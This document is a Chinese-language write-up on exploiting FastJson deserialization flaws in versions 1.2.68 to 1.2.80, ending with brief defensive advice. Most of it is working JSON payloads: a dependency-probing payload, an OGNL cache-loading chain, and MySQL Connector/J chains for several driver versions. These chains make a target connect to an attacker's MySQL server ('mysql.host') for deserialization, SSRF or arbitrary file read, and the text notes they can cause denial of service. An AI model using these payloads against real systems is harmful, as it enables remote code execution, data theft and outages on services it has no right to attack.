FastJson 1.68 & 1.80 版本反序列化漏洞分析与利用
前言
FastJson 在 1.2.25 版本以后默认关闭了 autoTypeSupport。反序列化的类必须满足以下任一条件才能成功反序列化:
- 在白名单中(关键字:internalWhite)
- 该类在 Fastjson 缓存中(当其他类被反序列化后,该类会加入 Fastjson 缓存,关键字:TypeUtils.mappings)
- 在 Deserializers 中(预先加载的反序列化器,详见
com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers) - 在 checkAutoType 时存在 expectClass 并且待反序列化的类是其子类
- 开启 autoTypeSupport
0x01 判断组件是否存在
使用以下 payload 判断组件是否存在:
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}
java.lang.Character和java.lang.Class都在白名单中java.lang.Class会加载val中的类java.lang.Character的反序列化器CharacterCodec会试图将内容转换为 Char 导致报错
值得判断的组件(1.2.72 < 版本 <= 1.2.80):
org.postgresql.jdbc.PgConnection(PostgreSQL 组件)com.mysql.jdbc.Driver(MySQL Connector/J 组件)org.codehaus.groovy.control.CompilationFailedException(Groovy 组件)org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException(AspectJ Tools)ognl.OgnlException和org.apache.commons.io.input.BOMInputStream(OGNL 和 Commons-IO 组件)
0x02 1.2.72 < 版本 <= 1.2.80 基础利用链
利用 JSONObject 加载类的属性到 Fastjson 缓存中,属性名需要有对应的 setter 方法,setter 设置的属性名会被加入到 ParserConfig.deserializers 缓存中。
以 OGNL 利用链为例:
- 利用 Exception 期望类将
ognl.OgnlException加入缓存:
{"@type":"java.lang.Exception","@type":"ognl.OgnlException"}
- 通过
JavaBeanDeserializer将该类的 public 属性实例化并加入缓存:
{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"ognl.OgnlException","_evaluation":{}}}
0x03 加载子类进 Fastjson 缓存
使用以下格式将子类加载到 Fastjson 缓存:
{"@type":"父类","@type":"子类"}
在 javaBeanDeserializer 和 ThrowableDeserializer 反序列化流程中会将子类加到 Fastjson 缓存中。
0x04 Fastjson 1.2.68 X JDBC 利用链
在 MySQL Connector/J 的不同版本中存在继承 java.lang.AutoCloseable 的类,可以通过 0x03 的方式加载到 Fastjson 缓存中。
不同版本的利用链
- MySQL Connector 5.x(利用后会报错结束):
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo":"mysql.host",
"portToConnectTo":3306,
"info":{
"user":"user",
"password":"pass",
"statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo":"dbname",
"url":""
}
- MySQL Connector 6.0.2 或 6.0.3(服务器会持续向恶意 MySQL 服务器发送文件信息,可能导致 DOS):
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy":{
"connectionString":{
"url": "jdbc:mysql://localhost:3306/foo?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
}
}
}
- MySQL Connector 8.0.19 及以上(反序列化/SSRF,同样存在持续发送文件信息的问题):
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy":{
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{"host":"mysql.host"}],
"slaves":[],
"properties":{
"host":"mysql.host",
"port":"mysql.port",
"user":"user",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}
任意文件读取利用
- MySQL Connector 6.0.2 或 6.0.3:
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy":{
"connectionString":{
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}
- MySQL Connector 8.0.19 及以上:
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy":{
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{"host":"mysql.host"}],
"slaves":[],
"properties":{
"host":"mysql.host",
"user":"user",
"dbname":"dbname",
"password":"pass",
"allowLoadLocalInfile":"true"
}
}
}
}
注意:在 Fastjson 1.2.69 更新中将
java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单,导致这些利用链失效。
0x05 其他关键点
-
expectClass 期望类型:
java.io.Serializablejava.lang.Cloneablejava.io.Closeablejava.lang.AutoCloseablejava.lang.Readablejava.lang.Runnablejava.util.EventListenerjava.lang.Iterablejava.util.Collectionjava.lang.Object
-
白名单中的类:参考 LeadroyaL/fastjson-blacklist
-
判断 safeMode 是否开启:
- 返回
autoType is not support. com.sun.rowset.JdbcRowSetImpl:未开启 safeMode - 返回
safeMode not support autoType:已开启 safeMode
- 返回
-
1.47 版本前的漏洞:可以通过
java.lang.Class将其他类加入缓存中,之后序列化该类就不会受白名单限制。修复方式是java.lang.Class类对val类无法再将其加入缓存中(详见com/alibaba/fastjson/serializer/MiscCodec.java#359) -
不同类使用不同反序列化器:
java.lang.Class使用MiscCodecjava.lang.Character使用CharacterCodec- 详见
com/alibaba/fastjson/parser/DefaultJSONParser.java#396
-
构造函数要求:只有 public 级别的构造函数可以在 Fastjson 反序列化字符串中构造,否则会出现
default constructor not found错误 -
反序列化构造函数选择:
- 优先使用无参数构造函数
- 如果没有则使用参数最多的构造函数(为了兼容 bean 和 java 原生类的写法)
-
$ref 的使用:可以用来获取对象属性,也可以用来触发 getter
-
MySQL Connector 8.x 版本的注意事项:
- 8.0.18 以下版本
LoadBalancedConnectionProxy、ReplicationConnectionProxy的构造函数不支持ConnectionUrl类型 LoadbalanceConnectionUrl的两个构造函数参数数量相同会默认选第一个构造函数,而第一个构造函数的第一个参数的构造函数是私有的ReplicationConnectionProxy的构造函数变为私有的
- 8.0.18 以下版本
-
持续连接问题:6.0.2 和 8.0.19 的 payload 都通过
pickNewConnection进行连接,会导致无法停止的问题
防御建议
- 升级 Fastjson 到最新安全版本
- 开启 safeMode
- 严格限制反序列化的类,使用白名单机制
- 避免使用存在漏洞的 JDBC 驱动版本
- 对输入进行严格过滤和验证